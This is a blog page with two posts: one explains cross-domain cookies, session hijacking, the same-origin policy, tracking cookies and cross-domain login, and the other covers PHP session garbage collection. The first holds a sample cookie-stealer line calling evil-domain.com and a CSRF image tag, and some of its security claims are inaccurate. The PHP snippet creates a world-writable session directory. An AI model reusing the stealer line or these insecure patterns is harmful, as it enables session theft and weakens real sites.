Showing posts with label session. Show all posts
Showing posts with label session. Show all posts

Monday, September 12, 2011

cross domain cookie,third party cookie and cross site ajax facts and myths

There are few questions in my mind which need appropriate & correct answers...
  1. it's possible to set a cookies to another domain with javascript
  2. Ajax Cross Domain Calls or making cross-sub-domain ajax (XHR) requests
  3. How Open social works
In below lines i am discussing each one by one but i request that please feel free post your comments if you feel any correction here or have some queries or comments.


we know about basic of cookie http://ravirajsblog.blogspot.com/2010/11/abc-of-http-cookie-detailed-look.html and some typical PHP session issue http://ravirajsblog.blogspot.com/2010/06/php-session-issue.html


Actually there are some security concerns in cross domain communications even server side languages also need some settings when communicate cross server
(http://php.net/manual/en/filesystem.configuration.php)
main concern is Cookie stealing and XSS(http://ha.ckers.org/xss.html) & Cross-site request forgery (CSRF). CSFR generally now avoided by filtering user input otherwise such type things occurs.


<img src="http://bank.example/withdraw?account=raviraj&amount=1000000000&for=bob"> 


Anyway come back to Cookie stealing.
Cookies are sent in plain text over the Internet, making them vulnerable to packet sniffing whereby someone intercepts traffic between a computer and the Internet. Once the value of a user’s login cookie is taken, it can be used to simulate the same session elsewhere by manually setting the cookie. The server can’t tell the difference between the original cookie that was set and the duplicated one that was stolen through packet sniffing, so it acts as if the user had logged in. This type of attack is called session hijacking.


A script from loaded another domain will get that page’s cookies by reading document.cookie.


As an example of how dangerous this is, suppose I load a script from evil-domain.com that contains some actually useful code. However, the folks at evil-domain.com then switch that code to the following:


(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;


Now this code is loaded on my page and silently sends my cookies back to evil-domain.com. This happens to everyone who visits my site. Once they have my cookies, it’s much easier to perpetrate other attacks including session hijacking.


There are a few ways to prevent session hijacking using cookies.


The first, and most common technique among the security-conscious, is to only send cookies over SSL. Since SSL encrypts the request on the browser before transmitting across the Internet, packet sniffing alone can’t be used to identify the cookie value. Banks and stores use this technique frequently since user sessions are typically short in duration.


Another technique is to generate a session key in some random fashion and/or a way that is based on information about the user (username, IP address, time of login, etc.). This makes it more difficult to reuse a session key, though doesn’t make it impossible.


Yet another technique is to re-validate the user before performing an activity deemed to be of a higher security level, such as transferring money or completing a purchase. For example, many sites require you to log in a second time before changing a password etc.


So finally all browsers decide to follow "same origin policy" concept.


Same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other's methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.This mechanism bears a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information or take state-changing actions.A strict separation between content provided by unrelated sites must be maintained on client side to prevent the loss of data confidentiality or integrity.
But the behavior of same-origin checks and related mechanisms is not well-defined in a number of corner cases, such as for protocols that do not have a clearly defined host name or port associated with their URLs.


Well, the confusion comes when you start talking about first party and third party cookies and how they are treated differently by web browsers.


A first party cookie is a cookie that is given to the website visitor by the same domain (www.domain.com) that the web page resides on. Whereas, a third party cookie is one that is issued to the website visitor by a web server that is not on the same domain as the website.


Web pages allow inclusion of resources from anyplace on the web. For example, many site uses the YUI CSS foundation for its layout and therefore includes these files from the Yahoo! CDN at yui.yahooapis.com via a <link> tag. Due to cookie restrictions, the request to retrieve this CSS resource will not include the cookies for ravirajsblog.blogspot.com. However, yui.yahooapis.com could potentially return its own cookies with the response (it doesn’t, it’s a cookie-less server). The page at ravirajsblog.blogspot.com cannot access cookies that were sent by yui.yahooapis.com because the domain is different and vice-verse, but all the cookies still exist. In this case, yui.yahooapis.com would be setting a third-party cookie, which is a cookie tied to a domain separate from the containing page.


There are several ways to include resources from other domains in HTML:

  1. Using a <link> tag to include a style sheet.
  2. Using a <script> tag to include a JavaScript file.
  3. Using an <object> or <embed> tag to include media files.
  4. Using an <iframe> tag to include another HTML file.

In each case, an external file is referenced and can therefore return its own cookies. The interesting part is that with the request, these third-party servers receive an HTTP Referer heading (spelling is incorrect in the spec) indicating the page that is requesting the resource. The server could potentially use that information to issue a specific cookie identifying the referring page. If that same resource is then loaded from another page, the cookie would then be sent along with the request and the server can determine that someone who visited Site A also visited Site B. This is a common practice in online advertising. Such cookies are often called tracking cookies since their job is to track user movement from site to site. This isn’t actually a security threat but is an important concept to understand in the larger security discussion.
Generally third party cookies are issued for banner advertiser who places a number of banners on your site and wants to know how many times it has been requested, or it could be a third party hosted analytics vendor that issues a page tag for each of your pages that forces a cookie on your site.
In the last situation, where an analytics vendor issues a cookie through a page tag the cookie is seen as a third party cookie because it is being generated by the analytics server which is having the tracking 1×1 invisible gif image requested from it by the page tag. It is however possible to have an analytics cookie issued by the third party vendor but still look like a first party cookie.
There are 2 ways of achieving this:-
Create a DNS alias for third party analytics server so that it looks like it is actually part of your domain and so anything issued by this server because 1st party (including cookies)
Have the Javascript page tag create a cookie at run-time and then pass the cookie value back to the analytics server so the cookie is created within the page and so becomes a 1st party cookie.
The obvious advantage of the DNS alias option is that you can have a smaller page tag which is quicker to load, however the cookie making page tag has an advantage over the DNS alias because no structural changes need to be made to the site’s infrastructure and the implementation of the tag should be more straight forward. checkout how GA works in cross domain specially for e-commerce.
http://cutroni.com/blog/2006/06/25/how-google-analytics-tracks-third-party-domains/


Back to our questions. Answer of first one is:
Nope, that will not work for security reasons.You cannot do that with cookies alone.They are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.However,if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly.


Let's see how oauth works. using same technique we can achieve our goal.[ see the Anonymous guy's comments, how nicely he/she decribed flow.]


Approach designates one domain as the 'central' domain and any others as 'satellite' domains.
When someone clicks a 'sign in' link (or presents a persistent login cookie), the sign in form ultimately sends its data to a URL that is on the central domain, along with a hidden form element saying which domain it came from (just for convenience, so the user is redirected back afterwards).
This page at the central domain then proceeds to set a session cookie (if the login went well) and redirect back to whatever domain the user logged in from, with a specially generated token in the URL which is unique for that session.
The page at the satellite URL then checks that token to see if it does correspond to a token that was generated for a session, and if so, it redirects to itself without the token, and sets a local cookie. Now that satellite domain has a session cookie as well. This redirect clears the token from the URL, so that it is unlikely that the user or any crawler will record the URL containing that token (although if they did, it shouldn't matter, the token can be a single-use token).
Now, the user has a session cookie at both the central domain and the satellite domain. But what if they visit another satellite? Well, normally, they would appear to the satellite as unauthenticated.
However, throughout application, whenever a user is in a valid session, all links to pages on the other satellite domains have a ?s or &s appended to them. I reserve this 's' query string to mean "check with the central server because we reckon this user has a session". That is, no token or session id is shown on any HTML page, only the letter 's' which cannot identify someone.
A URL receiving such an 's' query tag will, if there is no valid session yet, do a redirect to the central domain saying "can you tell me who this is?" by putting something in the query string.
When the user arrives at the central server, if they are authenticated there the central server will simply receive their session cookie. It will then send the user back to the satellite with another single use token, which the satellite will treat just as a satellite would after logging in (see above). Ie, the satellite will now set up a session cookie on that domain, and redirect to itself to remove the token from the query string.
This solution works without script, or iframe support. It does require '?s' to be added to any cross-domain URLs where the user may not yet have a cookie at that URL. I think this is possible one approach how we logged in in gmail when we already browsing orkut as registered user.


So we disappointed in first answer!! don't worry let's look for second one .. i am trying my best to say yes however ;-)


Answer for second one is NO... This restriction comes because of the same origin policy and even sub-domain ajax calls are not allowed.


By enabling mod_proxy module of apache2, we can configure apache in reverse proxy mode. In reverse proxy mode, apache2 appears be like an ordinary web server to the browser. However depending upon the proxy rules defined, apache2 can make cross-domain request and serve data back to the browser.


Another method of achieving sub-domain ajax requests is by using iframes. However, javascript does not allow communication between two frames if they don’t have same document.domain. The simplest of the hacks to make this communication possible is to set document.domain of the iframe same as that of the parent frame.


The second method deals with cases when you want to fetch data from a sub-domain. You can’t make an ajax call directly from the parent page, hence you do it through iframes.Consider case of facebook chat. If you see in firebug all chat related ajax are sent to channel.facebook.com which is achieved by iframe approch.


Few hacky open sourses also avalble like http://remysharp.com/2007/10/08/what-is-jsonp/


Now come to last question, how open social works ?
This is big topic which need brief detail. so many components are which we need to understand before looking open social like  Shindig,Gadget Server,RPC,REST,container server,container application etc
Here is good link to know more about open soical
That's it for now. Cheers!!!

Tuesday, June 15, 2010

PHP Session issue

A PHP Session Cookie (mostly defined as PHPSESSID) has a default life time until the browser is closed. Another session-relevant issue is the PHP garbage collector. When a session is created, a flat-file is created on the server - e.g. in /tmp on linux servers. Since the session ID is a unique identifier, those session files will accumulate over time - the garbage collector will take care of these files and delete old files from time to time. PHP has a sort of built-in "load-balancing" feature for this garbage collector, so that old session files are not deleted on each and every session request, but with a certain probability. The default timeout for session files is 1440 seconds or 24 minutes. So a session file can be deleted after that timeout, but it may reside on the server longer, depending on the amount of sessions created - here comes the probability into the game.

So we have a session cookie with a lifetime until the browser is closed, but the garbage collector might delete the session file much earlier. In this case, and if there is a session request after the session file has been deleted, a new session is created and the old session information is lost. This can be very annoying if e.g. the users is writing some message in a web-based interface and this task takes longer than the session file on the server is available.

There are 3 PHP.ini variables, which deal with the garbage collector:PHP ini value name default Changeable
session.gc_maxlifetime 1440 seconds PHP_INI_ALL
session.gc_probability 1 PHP_INI_ALL
session.gc_divisor 100 PHP_INI_ALL


session.gc_probability in conjunction with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is started. The probability is calculated by using gc_probability/gc_divisor, e.g. 1/100 means there is a 1% chance that the GC process starts on each request.

The most important variable is session.gc_maxlifetime:-
As discussed earlier, this variable sets the timeout for session file deletion.
All three variables can be set in the php.ini configuration file, but more important, those can be also set during runtime due the PHP_INI_ALL permission.

we can be also set those 3 PHP.ini variables during runtime due the PHP_INI_ALL permission. so we can create another directory *within* the regular session file directory and set the new path for the session files. Now our session files are stored in the new directory and the regular garbage collector will not see them, so those files will survive at least that long as defined in gc_maxlifetime.

But make sure that all these changes MUST be made before the actual session is opened with session_start() or session_register(). need to include at top of index file.


// path for cookies
$cookie_path = "/";

// timeout value for the cookie
$cookie_timeout = 60 * 30; // in seconds

// timeout value for the garbage collector
//   we add 300 seconds, just in case the user's computer clock
//   was synchronized meanwhile; 600 secs (10 minutes) should be
//   enough - just to ensure there is session data until the
//   cookie expires
$garbage_timeout = $cookie_timeout + 600; // in seconds

// set the PHP session id (PHPSESSID) cookie to a custom value
session_set_cookie_params($cookie_timeout, $cookie_path);

// set the garbage collector - who will clean the session files -
//   to our custom timeout
ini_set('session.gc_maxlifetime', $garbage_timeout);

// we need a distinct directory for the session files,
//   otherwise another garbage collector with a lower gc_maxlifetime
//   will clean our files aswell - but in an own directory, we only
//   clean sessions with our "own" garbage collector (which has a
//   custom timeout/maxlifetime set each time one of our scripts is
//   executed)
strstr(strtoupper(substr($_SERVER["OS"], 0, 3)), "WIN") ?
$sep = "\\" : $sep = "/";
$sessdir = ini_get('session.save_path').$sep."my_sessions";
if (!is_dir($sessdir)) { mkdir($sessdir, 0777); }
ini_set('session.save_path', $sessdir);

// now we're ready to start the session
session_start();

session_register('mytest');
print "mytest=".$_SESSION['mytest']."

";
$_SESSION['mytest'] = "captain";
?>